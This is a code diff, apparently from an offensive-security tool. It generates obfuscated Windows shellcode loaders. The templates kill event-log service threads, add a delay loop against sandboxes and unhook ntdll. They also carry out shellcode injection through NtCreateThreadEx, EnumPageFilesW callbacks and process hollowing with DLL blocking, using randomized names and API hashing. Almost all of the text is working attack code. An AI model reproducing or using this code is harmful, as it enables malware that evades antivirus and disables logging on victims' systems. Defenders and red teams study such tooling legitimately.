+ {{.Vars.Thread32First}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Thread32First", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.Thread32Next}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("Thread32Next", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ phantom_func = phantom_func + `
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+ {{.Vars.NtQueryInformationThread}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtQueryInformationThread, str_obfs) + `)
+
+ {{.Vars.advapi32}} := windows.NewLazyDLL(` + ObfuscateStr("advapi32.dll", str_obfs) + `)
+ {{.Vars.I_QueryTagInformation}} := {{.Vars.advapi32}}.NewProc(` + ObfuscateStr("I_QueryTagInformation", str_obfs) + `)
+
+ {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
+ {{.Vars.OpenThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("OpenThread", str_obfs) + `)
+ {{.Vars.OpenProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("OpenProcess", str_obfs) + `)
+ {{.Vars.TerminateThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("TerminateThread", str_obfs) + `)
+ {{.Vars.CloseHandle}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CloseHandle", str_obfs) + `)
+ {{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `)
+ {{.Vars.CreateToolhelp32Snapshot}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateToolhelp32Snapshot", str_obfs) + `)
+ {{.Vars.Thread32First}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("Thread32First", str_obfs) + `)
+ {{.Vars.Thread32Next}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("Thread32Next", str_obfs) + `)
+`
+ }
+
+ phantom_func = phantom_func + `
+ var {{.Vars.hThreads}} uintptr
+ {{.Vars.hThreads}}, _, _ = {{.Vars.CreateToolhelp32Snapshot}}.Call(windows.TH32CS_SNAPTHREAD, 0)
+
+ if {{.Vars.hThreads}} == 0 {
+ return errors.New(` + ObfuscateStr("An error has occurred calling CreateToolhelp32Snapshot", str_obfs) + `)
+ }
+
+ {{.Vars.tbi}} := PTHREAD_BASIC_INFORMATION{}
+ {{.Vars.te32}} := windows.ThreadEntry32{}
+ {{.Vars.te32}}.Size = uint32(unsafe.Sizeof({{.Vars.te32}}))
+
+ {{.Vars.Thread32First}}.Call({{.Vars.hThreads}}, uintptr(unsafe.Pointer(&{{.Vars.te32}})))
+
+ for true {
+ if {{.Vars.te32}}.OwnerProcessID == {{.Vars.pid}} {
+ {{.Vars.hEvtThread}}, _, _ := {{.Vars.OpenThread}}.Call(windows.THREAD_QUERY_LIMITED_INFORMATION|windows.THREAD_SUSPEND_RESUME|windows.THREAD_TERMINATE, uintptr(0), uintptr({{.Vars.te32}}.ThreadID))
+ if {{.Vars.hEvtThread}} == 0 {
+ return errors.New(` + ObfuscateStr("An error has occurred calling OpenThread", str_obfs) + `)
+ }
+
+ {{.Vars.NtQueryInformationThread}}.Call(uintptr({{.Vars.hEvtThread}}), 0, uintptr(unsafe.Pointer(&{{.Vars.tbi}})), 0x30, 0)
+
+ {{.Vars.hEvtProcess}}, _, _ := {{.Vars.OpenProcess}}.Call(windows.PROCESS_VM_READ, uintptr(0), uintptr({{.Vars.te32}}.OwnerProcessID))
+ if {{.Vars.hEvtProcess}} == 0 {
+ return errors.New(` + ObfuscateStr("An error has occurred calling OpenProcess", str_obfs) + `)
+ }
+
+ if {{.Vars.tbi}}.pTebBaseAddress != 0 {
+ {{.Vars.scTagQuery}} := SC_SERVICE_TAG_QUERY{}
+
+ var {{.Vars.hTag}} byte
+ var {{.Vars.pN}} uintptr
+ {{.Vars.ReadProcessMemory}}.Call({{.Vars.hEvtProcess}}, {{.Vars.tbi}}.pTebBaseAddress+0x1720, uintptr(unsafe.Pointer(&{{.Vars.hTag}})), unsafe.Sizeof({{.Vars.pN}}), 0)
+
+ {{.Vars.scTagQuery}}.processId = {{.Vars.te32}}.OwnerProcessID
+ {{.Vars.scTagQuery}}.serviceTag = uint32({{.Vars.hTag}})
+
+ {{.Vars.I_QueryTagInformation}}.Call(0, 1, uintptr(unsafe.Pointer(&{{.Vars.scTagQuery}})))
+
+ if {{.Vars.scTagQuery}}.pBuffer != nil {
+ {{.Vars.TerminateThread}}.Call(uintptr({{.Vars.hEvtThread}}), 0)
+ }
+
+ {{.Vars.CloseHandle}}.Call({{.Vars.hEvtThread}})
+ {{.Vars.CloseHandle}}.Call({{.Vars.hEvtProcess}})
+ }
+ }
+
+ _, _, {{.Vars.err}} := {{.Vars.Thread32Next}}.Call({{.Vars.hThreads}}, uintptr(unsafe.Pointer(&{{.Vars.te32}})))
+ if {{.Vars.err}} != nil {
+ break
+ }
+ }
+
+ {{.Vars.CloseHandle}}.Call({{.Vars.hThreads}})
+
+ return nil
+}
+`
+
+ // append previous functions
+ functions = utils.AppendString(functions, ParseTemplate(elevate_process_token_func, Main))
+ functions = utils.AppendString(functions, ParseTemplate(event_log_pid_func, Main))
+ functions = utils.AppendString(functions, ParseTemplate(phantom_func, Main))
+ }
+
+ // add sleep function to loader
+ if (sleep_time) {
+ if (verbose) {
+ fmt.Println(" > Adding custom sleep function...")
+ time.Sleep(100 * time.Millisecond)
+ }
+
+ Main.Vars["sleep_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["s"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["j"] = utils.RandomString(utils.RandomInt(9,10))
+
+ // define code using templates
+ sleep_func := `
+func {{.Vars.sleep_func}}() {
+ {{.Vars.s}} := 500000 + ` + strconv.Itoa(utils.RandomInt(1000, 10000)) + `
+
+ for {{.Vars.i}} := 0; {{.Vars.i}} <= {{.Vars.s}}; {{.Vars.i}}++ {
+ for {{.Vars.j}} := 2; {{.Vars.j}} <= {{.Vars.i}}/2; {{.Vars.j}}++ {
+ if {{.Vars.i}}%{{.Vars.j}} == 0 {
+ break
+ }
+ }
+ }
+}
+`
+ // append previous functiom
+ functions = utils.AppendString(functions, ParseTemplate(sleep_func, Main))
+ }
+
+ if (verbose) {
+ fmt.Println()
+ }
+ time.Sleep(100 * time.Millisecond)
+
+ // define shellcode execution function
+ var execute_shellcode_func string
+
+ fmt.Println("[*] Using " + exec_technique + " technique to execute shellcode")
+ time.Sleep(200 * time.Millisecond)
+
+ // first shellcode execution technique
+ if exec_technique == "ntcreatethread" || exec_technique == "ntcreatethreadex" {
+ imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"})
+ dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
+
+ Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtCreateThreadEx"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["hhosthread"] = utils.RandomString(utils.RandomInt(9,10))
+
+ execute_shellcode_func = `
+func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error {
+`
+
+ if (hashing) {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtCreateThreadEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtCreateThreadEx, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+
+ {{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `)
+ {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
+ {{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `)
+ {{.Vars.NtCreateThreadEx}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtCreateThreadEx, str_obfs) + `)
+`
+ }
+
+ execute_shellcode_func = execute_shellcode_func + `
+ var {{.Vars.addr}} uintptr
+ {{.Vars.regionsize}} := uintptr(len({{.Vars.shellcode}}))
+
+ {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtAllocateVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.addr}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
+ if {{.Vars.r1}} != 0 {
+ log.Fatal({{.Vars.err}})
+ }
+
+ {{.Vars.NtWriteVirtualMemory}}.Call(uintptr(0xffffffffffffffff), {{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), {{.Vars.regionsize}}, 0)
+
+ var {{.Vars.oldProtect}} uintptr
+ {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+ if {{.Vars.r2}} != 0 {
+ log.Fatal({{.Vars.err}})
+ }
+
+ var {{.Vars.hhosthread}} uintptr
+ {{.Vars.NtCreateThreadEx}}.Call(uintptr(unsafe.Pointer(&{{.Vars.hhosthread}})), 0x1FFFFF, 0, uintptr(0xffffffffffffffff), {{.Vars.addr}}, 0, uintptr(0), 0, 0, 0, 0)
+
+ windows.WaitForSingleObject(windows.Handle(0xffffffffffffffff), windows.INFINITE)
+
+ return nil
+}
+`
+
+ } else if exec_technique == "suspendedprocess" { // next shellcode execution technique
+ imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"})
+ dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
+
+ Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["EnumPageFilesW"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["psapi"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["lpBaseAddress"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
+
+ execute_shellcode_func = `
+func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error {
+`
+
+ if (hashing) {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.EnumPageFilesW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EnumPageFilesW", rand_num)) + `, ` + ObfuscateStr("psapi.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+ {{.Vars.psapi}} := windows.NewLazyDLL(` + ObfuscateStr("psapi.dll", str_obfs) + `)
+
+ {{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `)
+ {{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `)
+ {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
+ {{.Vars.EnumPageFilesW}} := {{.Vars.psapi}}.NewProc(` + ObfuscateStr("EnumPageFilesW", str_obfs) + `)
+`
+ }
+
+ execute_shellcode_func = execute_shellcode_func + `
+ var {{.Vars.lpBaseAddress}} uintptr
+ {{.Vars.regionsize}} := len({{.Vars.shellcode}})
+
+ {{.Vars.oldProtect}} := windows.PAGE_READWRITE
+
+ {{.Vars.NtAllocateVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.lpBaseAddress}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
+
+ {{.Vars.NtWriteVirtualMemory}}.Call(uintptr(0xffffffffffffffff), {{.Vars.lpBaseAddress}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), uintptr({{.Vars.regionsize}}), 0)
+
+ {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.lpBaseAddress}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+
+ {{.Vars.EnumPageFilesW}}.Call({{.Vars.lpBaseAddress}}, 0)
+
+ return nil
+}
+`
+
+ } else if exec_technique == "processhollowing" { // next shellcode execution technique
+
+ process_mitigation_binary_signature_policy := `
+type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
+ Flags uint32
+}
+`
+
+ proc_thread_attribute_entry := `
+type PROC_THREAD_ATTRIBUTE_ENTRY struct {
+ attribute *uint32
+ cbSize uintptr
+ lpValue uintptr
+}
+`
+
+ proc_thread_attribute_list := `
+type PROC_THREAD_ATTRIBUTE_LIST struct {
+ dwFlags uint32
+ size uint64
+ count uint64
+ reserved uint64
+ unknown *uint64
+ entries []*PROC_THREAD_ATTRIBUTE_ENTRY
+}
+`
+
+ process_information := `
+type ProcessInformation struct {
+ Process uintptr
+ Thread uintptr
+ ProcessId uint32
+ ThreadId uint32
+}
+`
+
+ startup_info_ex := `
+type StartupInfoEx struct {
+ windows.StartupInfo
+ AttributeList *PROC_THREAD_ATTRIBUTE_LIST
+}
+`
+
+ process_basic_information := `
+type PROCESS_BASIC_INFORMATION struct {
+ Reserved1 uintptr
+ PebBaseAddress uintptr
+ Reserved2 uintptr
+ Reserved3 uintptr
+ UniquePid uintptr
+ MoreReserved uintptr
+}
+`
+
+ exports = utils.AppendSlice(exports, []string{process_mitigation_binary_signature_policy, proc_thread_attribute_entry, proc_thread_attribute_list, process_information, startup_info_ex, process_basic_information})
+ imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows", "encoding/binary"})
+ dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
+
+ Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["proc"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["blockdlls"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["GetProcessHeap"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["HeapAlloc"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["HeapFree"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["InitializeProcThreadAttributeList"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["UpdateProcThreadAttribute"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["CreateProcessA"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ResumeThread"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ZwQueryInformationProcess"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pbi"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["procThreadAttributeSize"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["procHeap"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["attributeList"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["si"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["mitigate"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["nonms"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["cmd"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pi"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["returnLength"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pointerSize"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["imageBaseAddress"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["addressBuffer"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["read"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["imageBaseValue"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["lfaNewPos"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["lfanew"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["entrypointOffset"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["entrypointOffsetPos"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["entrypointRVA"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["entrypointAddress"] = utils.RandomString(utils.RandomInt(9,10))
+
+ execute_shellcode_func = `
+func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte, {{.Vars.proc}} string, {{.Vars.blockdlls}} bool) error {
+`
+
+ if (hashing) {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.GetProcessHeap}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetProcessHeap", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.HeapAlloc}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("HeapAlloc", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.HeapFree}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("HeapFree", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.InitializeProcThreadAttributeList}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("InitializeProcThreadAttributeList", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.UpdateProcThreadAttribute}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("UpdateProcThreadAttribute", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.CreateProcessA}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateProcessA", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.ResumeThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ResumeThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.ZwQueryInformationProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ZwQueryInformationProcess", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+
+ {{.Vars.GetProcessHeap}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetProcessHeap", str_obfs) + `)
+ {{.Vars.HeapAlloc}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("HeapAlloc", str_obfs) + `)
+ {{.Vars.HeapFree}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("HeapFree", str_obfs) + `)
+ {{.Vars.InitializeProcThreadAttributeList}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("InitializeProcThreadAttributeList", str_obfs) + `)
+ {{.Vars.UpdateProcThreadAttribute}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("UpdateProcThreadAttribute", str_obfs) + `)
+ {{.Vars.CreateProcessA}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateProcessA", str_obfs) + `)
+ {{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `)
+ {{.Vars.WriteProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `)
+ {{.Vars.ResumeThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ResumeThread", str_obfs) + `)
+ {{.Vars.ZwQueryInformationProcess}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("ZwQueryInformationProcess", str_obfs) + `)
+`
+ }
+
+ execute_shellcode_func = execute_shellcode_func + `
+ var {{.Vars.pbi}} PROCESS_BASIC_INFORMATION
+ var {{.Vars.si}} StartupInfoEx
+ var {{.Vars.pi}} ProcessInformation
+
+ if ({{.Vars.blockdlls}}) {
+ {{.Vars.procThreadAttributeSize}} := uintptr(0)
+ {{.Vars.InitializeProcThreadAttributeList}}.Call(0, 2, 0, uintptr(unsafe.Pointer(&{{.Vars.procThreadAttributeSize}})))
+
+ {{.Vars.procHeap}}, _, {{.Vars.err}} := {{.Vars.GetProcessHeap}}.Call()
+ if {{.Vars.procHeap}} == 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.attributeList}}, _, {{.Vars.err}} := {{.Vars.HeapAlloc}}.Call({{.Vars.procHeap}}, 0, {{.Vars.procThreadAttributeSize}})
+ if {{.Vars.attributeList}} == 0 {
+ return {{.Vars.err}}
+ }
+ defer {{.Vars.HeapFree}}.Call({{.Vars.procHeap}}, 0, {{.Vars.attributeList}})
+
+ {{.Vars.si}}.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer({{.Vars.attributeList}}))
+
+ {{.Vars.InitializeProcThreadAttributeList}}.Call(uintptr(unsafe.Pointer({{.Vars.si}}.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&{{.Vars.procThreadAttributeSize}})))
+
+ {{.Vars.mitigate}} := 0x20007
+ {{.Vars.nonms}} := uintptr(0x100000000000|0x1000000000)
+
+ {{.Vars.r}}, _, {{.Vars.err}} := {{.Vars.UpdateProcThreadAttribute}}.Call(uintptr(unsafe.Pointer({{.Vars.si}}.AttributeList)), 0, uintptr({{.Vars.mitigate}}), uintptr(unsafe.Pointer(&{{.Vars.nonms}})), uintptr(unsafe.Sizeof({{.Vars.nonms}})), 0, 0)
+ if {{.Vars.r}} == 0 {
+ return {{.Vars.err}}
+ }
+ }
+
+ {{.Vars.cmd}} := append([]byte(` + ObfuscateStr(process, str_obfs) + `), byte(0))
+
+ {{.Vars.si}}.Cb = uint32(unsafe.Sizeof({{.Vars.si}}))
+
+ {{.Vars.r}}, _, {{.Vars.err}} := {{.Vars.CreateProcessA}}.Call(0, uintptr(unsafe.Pointer(&{{.Vars.cmd}}[0])), 0, 0, 1, windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(&{{.Vars.si}})), uintptr(unsafe.Pointer(&{{.Vars.pi}})))
+ if {{.Vars.r}} == 0 {
+ return {{.Vars.err}}
+ }
+
+ var {{.Vars.returnLength}} int32
+ {{.Vars.pointerSize}} := unsafe.Sizeof(uintptr(0))
+
+ {{.Vars.ZwQueryInformationProcess}}.Call(uintptr({{.Vars.pi}}.Process), 0, uintptr(unsafe.Pointer(&{{.Vars.pbi}})), {{.Vars.pointerSize}}*6, uintptr(unsafe.Pointer(&{{.Vars.returnLength}})))
+
+ {{.Vars.imageBaseAddress}} := {{.Vars.pbi}}.PebBaseAddress + 0x10
+ {{.Vars.addressBuffer}} := make([]byte, {{.Vars.pointerSize}})
+
+ var {{.Vars.read}} uintptr
+ {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), {{.Vars.imageBaseAddress}}, uintptr(unsafe.Pointer(&{{.Vars.addressBuffer}}[0])), uintptr(len({{.Vars.addressBuffer}})), uintptr(unsafe.Pointer(&{{.Vars.read}})))
+
+ {{.Vars.imageBaseValue}} := binary.LittleEndian.Uint64({{.Vars.addressBuffer}})
+ {{.Vars.addressBuffer}} = make([]byte, 0x200)
+
+ {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.imageBaseValue}}), uintptr(unsafe.Pointer(&{{.Vars.addressBuffer}}[0])), uintptr(len({{.Vars.addressBuffer}})), uintptr(unsafe.Pointer(&{{.Vars.read}})))
+
+ {{.Vars.lfaNewPos}} := {{.Vars.addressBuffer}}[0x3c : 0x3c+0x4]
+ {{.Vars.lfanew}} := binary.LittleEndian.Uint32({{.Vars.lfaNewPos}})
+ {{.Vars.entrypointOffset}} := {{.Vars.lfanew}} + 0x28
+ {{.Vars.entrypointOffsetPos}} := {{.Vars.addressBuffer}}[{{.Vars.entrypointOffset}} : {{.Vars.entrypointOffset}}+0x4]
